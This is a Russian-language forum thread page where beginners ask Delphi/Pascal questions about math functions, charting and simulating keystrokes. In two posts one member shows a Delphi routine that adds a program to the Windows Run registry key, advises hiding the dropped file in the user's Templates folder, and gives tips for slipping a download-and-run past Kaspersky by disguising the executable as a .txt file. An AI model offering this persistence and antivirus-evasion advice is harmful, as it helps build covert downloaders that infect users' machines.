[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. lll6

    lll6 Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    83
    Likes Received:
    15
    Reputations:
    5
    Омг, у меня крутой паскаль значит, ну не беда))
     
  2. Si{R}ius

    Si{R}ius Member

    Joined:
    13 Nov 2008
    Messages:
    95
    Likes Received:
    36
    Reputations:
    0
    exp(x) - Экспонента (число e в степени x)
    exp(1) ~ 2.72
     
  3. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    Где? Нету её... Определили константу и написали тут... С таким же успехом можно и констану Z определить...
     
  4. lll6

    lll6 Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    83
    Likes Received:
    15
    Reputations:
    5
    Ну вообще я просто пользуюсь PascalABC.NET, так что возможны расхождения с Pascal 7.0
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ты не правильно наверное воспринимает результат выполнения WinExec
    Читай Windows SDK
    т.е. при нормальном выполнении функция вернет тебе значение 31
    А если 31 считать кодом ошибки и прогнать его через SysErrorMessage то ты как рах и получишь сообщение в котром будет чтото говориться про доступ к файлу.
    ты для теста смени sw_hide на sw_show
    У меня запросто разаботал твой кусок кода

    P.S. инстал в систему лучше напиши через API чтоб размер был меньше. Типа
    Code:
    procedure install(filename,about:string);
    var
     key:longword;
    begin
     RegOpenKeyEx(longword($80000002), 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0, $000F003F, Key);
     RegSetValueEx(Key, pchar(about), 0,1, pchar(filename), length(filename));
     RegCloseKey(Key);
    end;
    
    Хотя еще лучше кидай файл не в Windows а в папку с шаблонами пользователя. т.к. это папка находится хз где(юзверь хрен найдет) и для неё всегда есть доступ на запись, чего не скажешь о Windows или System32
     
    #2925 slesh, 14 Mar 2009
    Last edited: 14 Mar 2009
    1 person likes this.
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    1) Каспер недоверчево относится к запуску скрытых процессов. Так что SHOW / HIDE - играет роль
    2) Такой вот инстал в реестр палится каспером еще с его детский времен
    3) Скачать и запустить - это тоже слишком подозретильно.
    По этому как вариант можно попробовать следующее
    Качай файл под левым именем. типа book.txt, затем чтонить помути с ним а потом переименую как нужно и попробуй запустить.
    На счет прописки в реестре - как никрути но это будет палиться проактивкой.
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    *CRAZY* хотя верх извращенства - запускать текстовик.
    Если EXE переименовать в TXT типа c:\windows\book.txt то он всё равно запустится через winexec('c:\windows\book.txt',sw_show);
     
  8. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Был у кого опыт работы с TChar? Исходники бы очень пригодились, но они продают их.. Как бы можно вызвать метод ChartPreview(nil,DBChart1); со своими параметрами? Т.е. отступ от полей задать, ориентацию и т.д...
     
  9. Uname-A

    Uname-A Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    73
    Likes Received:
    12
    Reputations:
    5
    Вообщем есть чюжая программа
    Нужно её запустить и нажать Ctrl + S
    Но есть один нюанс Окно программы скрыто (так надо...)
    В инете нашол ассемблерный код но он пашед ток для одной кнопки =(
    Code:
    procedure EmulateKey(Wnd: HWND; VKey: Integer);
    asm
      push 0
      push edx
      push 0101H //WM_KEYUP
      push eax
      push 0
      push edx
      push 0100H //WM_KEYDOWN
      push eax
      call PostMessage
      call PostMessage
    end;
    
     
  10. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    http://www.delphisources.ru/pages/faq/base/keys_pressed_emulation2.html
     
  11. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    Code:
    // симуляция нажимаем&отпускаем кнопку
    procedure SimulateKeystroke(Key : byte; extra : DWORD);
    begin
        keybd_event(Key,extra,0,0);
        keybd_event(Key,extra,KEYEVENTF_KEYUP,0);
    end;
    
    // симуляция нажимаем кнопку
    procedure SimulateKeyDown(Key : byte);
    begin
        keybd_event(Key, 0, 0, 0);
    end;
    
    // симуляция отпускаем кнопку
    procedure SimulateKeyUp(Key : byte);
    begin
        keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);
    end;
    
    /////////////////////////////////////////////////////////////
    
    // нажимаем СTRL
    SimulateKeyDown(VK_CONTROL);
    // нажимаем&отпускам кнопку S (регист важен)
    SimulateKeystroke(ord('S'),0);
    // отпускаем СTRL
    SimulateKeyUp(VK_CONTROL);
    для примера запусти Блокнот и:
    Code:
    var i:integer;
    begin
    for i:=1 to 500 do begin caption:=inttostr(i); sleep(1); end;
    // активируй окно Блокнота
    SimulateKeyDown(VK_CONTROL);
    SimulateKeystroke(ord('S'),0); // S=0x73 , s=0x53
    SimulateKeyUp(VK_CONTROL);
    и увидеш окно "Сохранить Как.." )
     
  12. Uname-A

    Uname-A Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    73
    Likes Received:
    12
    Reputations:
    5
    Ех немного неправильно я вопрос поставил(((
    Мне нужно запустить прогу а потом в НЕЁ зная хейдер окна отправить горячую клавишу Ctrl + S Тоесть горячая клавиша действует только тогда когда окно развёрнуто
    А нужно отправить горячую клавишу пока окно неактивно.
     
  13. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    А нафиг его отправлять тогда когда окно не активно, смысл?
     
  14. Uname-A

    Uname-A Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    73
    Likes Received:
    12
    Reputations:
    5
    Кароч у меня есть прога которая показывает кое какую инфу и может сохранять это в файл Мне бы хотелось сделать лоадер Который запустит скрыто прогу нажмет Ctrl + s и сохранит в нужную папку (Сохранение уже реализовал) Мне нужно ток скрыто нажать горячюю клавишу
     
  15. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    BOOL PostMessage(
    HWND hWnd,
    UINT Msg,
    WPARAM wParam,
    LPARAM lParam
    );

    Code:
    var wnd:HWND;
    begin
      wnd := FindWindow('notepad', nil);
      wnd := FindWindowEx(wnd, 0, 'Edit', nil);
      if wnd=0 then exit;
      caption:=inttostr(wnd);
      PostMessage(wnd, WM_KEYDOWN, VK_CONTROL, 0);
      PostMessage(wnd, WM_KEYDOWN, ord('S'), 0);
     // PostMessage(wnd, WM_CHAR, Word('s'), 0);
      PostMessage(wnd, WM_KEYUP, ord('S'), 0);
      PostMessage(wnd, WM_KEYUP, VK_CONTROL, 0);
     
  16. sadfeel

    sadfeel Member

    Joined:
    5 Nov 2008
    Messages:
    83
    Likes Received:
    6
    Reputations:
    0
    в паскале возможно ли скрыть прогу при запуске? (чтобы небыло на панели управления)
     
  17. Ламоза

    Ламоза Member

    Joined:
    26 Jul 2008
    Messages:
    22
    Likes Received:
    7
    Reputations:
    0
    Помогите перенести формулу из екселя в дельфи.
    [​IMG]
    Сам файл, например для элемента D43. При условии что изначально забит только 0 массив, остальное считается из него.

    ЗЫ сорри за аттач, но иначе сложно объяснить.
     
  18. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    Дублирую.. Очень нужно!!!

    Был у кого опыт работы с TChar? Исходники бы очень пригодились, но они продают их.. Как бы можно вызвать метод ChartPreview(nil,DBChart1); со своими параметрами? Т.е. отступ от полей задать, ориентацию и т.д...
     
  19. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Nightmarе И как ты себе представляешь шифрования трафа в socks5? Приложения ведь не поддерживают шифрования, потому что им тогда придется таскать SSL с собой и подобное. А вот ищеи на счет HTTPS - тут уже более реалистичны
    Ну или если разработка для себя, то сам усовершенствую протокол и напиши сервер и клиент.
     
    #2939 slesh, 20 Mar 2009
    Last edited: 20 Mar 2009
  20. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    нужна банальная шняга, написаная на дельфи.

    чтобы в активном окне (Название);
    если нажата клавиша "q" используеться клавиша 3;
    если нажата клавиша "е" используеться клавиша 4;
    если нажата клавиша "ctrl" используеться клавиша 6 и 7 одновременно;
     
    #2940 IIAHbI4, 20 Mar 2009
    Last edited: 20 Mar 2009
Thread Status:
Not open for further replies.